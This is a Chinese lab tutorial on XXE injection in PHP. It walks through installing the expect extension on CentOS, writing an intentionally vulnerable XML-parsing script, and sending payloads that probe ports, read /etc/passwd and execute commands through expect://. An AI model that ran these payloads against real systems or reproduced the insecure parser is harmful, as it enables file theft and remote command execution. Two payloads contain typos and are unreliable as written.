当前位置:   article > 正文

PHP 环境 XML 外部实体注入漏洞从环境搭建到实操(全网最详细最齐全)_xml漏洞环境搭建

xml漏洞环境搭建
  1. XML 介绍:

XML 语言全称为可扩展标记语言,与 HTML 超文本标签语言类似,而这两个的区别在于作用与使用方法:HTML

主要用来显示数据,而 XML 主要用于传输和存储数据.HTML 的使用方法有固定的格式,即只能使用自带的标

签,而 XML 则是使用自定义标签.

  1. XML 外部实体注入漏洞原理:

XXE 外部实体注入漏洞发生在应用程序解析 XML 输入时,没有禁止外部实体的加载,从而导致会加载恶意

外部文件和代码,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起 Dos 攻击等危害。

XXE 漏洞触发的点往往是可以上传 xml 文件的位置,没有对上传的 xml 文件进行过滤,导致可上传恶意 xml

文件。

  1. XML 外部实体注入漏洞环境搭建:

环境安装:系统为 CentOs7

  1. yum install expect

//安装操作系统 expect

  1. yum install php-devel //安装 PHP 开发所需文件的软件包
  2. yum install tcl //安装 tcl
  3. yum install tcl tcl-devel

//安装 tcl 软件包以及相应的开发文件

  1. yum install expect expect-devel

//安装 expect 软件包以及相应的开发文档

  1. 上传 php-expect 扩展包,下载地址:https://github.com/spektom/php-expect
  2. 执行以下代码进行编译安装

phpize

./configure

make

make install

  1. 修改配置文件,添加以下内容

extension=expect.so(配置文件所在地址:/etc/php.ini)

  1. 重启服务器

systemctl restart httpd

10 检测是否安装成功

进入/var/www/html 目录当中,创建一个 php 文件(文件名自取),在该文件当中写入<?php phpinfo()?>

然后去访问该虚拟机的 IP 地址下的该 php 文件,即 http://该虚拟机 ip 地址/该 php 文件即可.

成功后出现如下页面当出现该页面后

ctrl+F 搜索 expect,出现如下页面,即显示环境搭建成功,进而可以开始实验

  1. 实验步骤:

1.进入到/var/www/html 中,创建任意一个 php 文件(文件名自取),在其中输入以下代码

<?php

header("content-type:text/html;charset=utf-8");

date_default_timezone_set("PRC");

$data = file_get_contents('php://input');

$xml = simplexml_load_string($data,'SimpleXMLElement',LIBXML_NOENT);

echo date('Y-m-d H:i:s',time())."\n\r";

echo $xml;

?>

2. 去访问该文件(访问地址为 http://该虚拟机 ip 地址/该 php 文件),同时使用 Burp Suite 进行抓包,将

抓到的包放到重放模块(Repeater),然后进行实验.

  1. 进行实验,将你的 xml 代码放入到该页面当中,然后发送,即可看见效果.注意:你的 xml 代码一定不要与

该包数据紧挨着,有可能会造成 xml 代码无法解析.最好空一行再输入 xml 代码,如图:

端口检测:

这个实验效果不建议使用该方法进行,因为端口开启与关闭的效果差别不明显

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE note[

<!ENTITY xxe SYSTEM "http://192.168.235.128:80">

]>

<note>&xxe;</note>

文件读取:

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE abc [ <!ENTITY xxe SYSTEM "file:etc/passwd"> ]>

<abc>&xxe;</abc>

php 伪协议文件读取:

<?xml version="1.0"?>

<!DOCTYPE abc [ <!ENTITY xxe SYSTEM "php://filter/convert.base64encode/resource=/etc/passwd" > ]>

<abc>&xxe;</abc>

命令执行:

<?xml version="1.0"?>

<!DOCTYPE abc [ <!ENTITY xxe SYSTEM "expect://pwd " > ]>

<abc>&xxe;</abc>

但注意,我们所登录的用户是 apache,它所拥有的权限有限制,大多数操作无法进行,例如创建文件等.

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/Monodyee/article/detail/612718
推荐阅读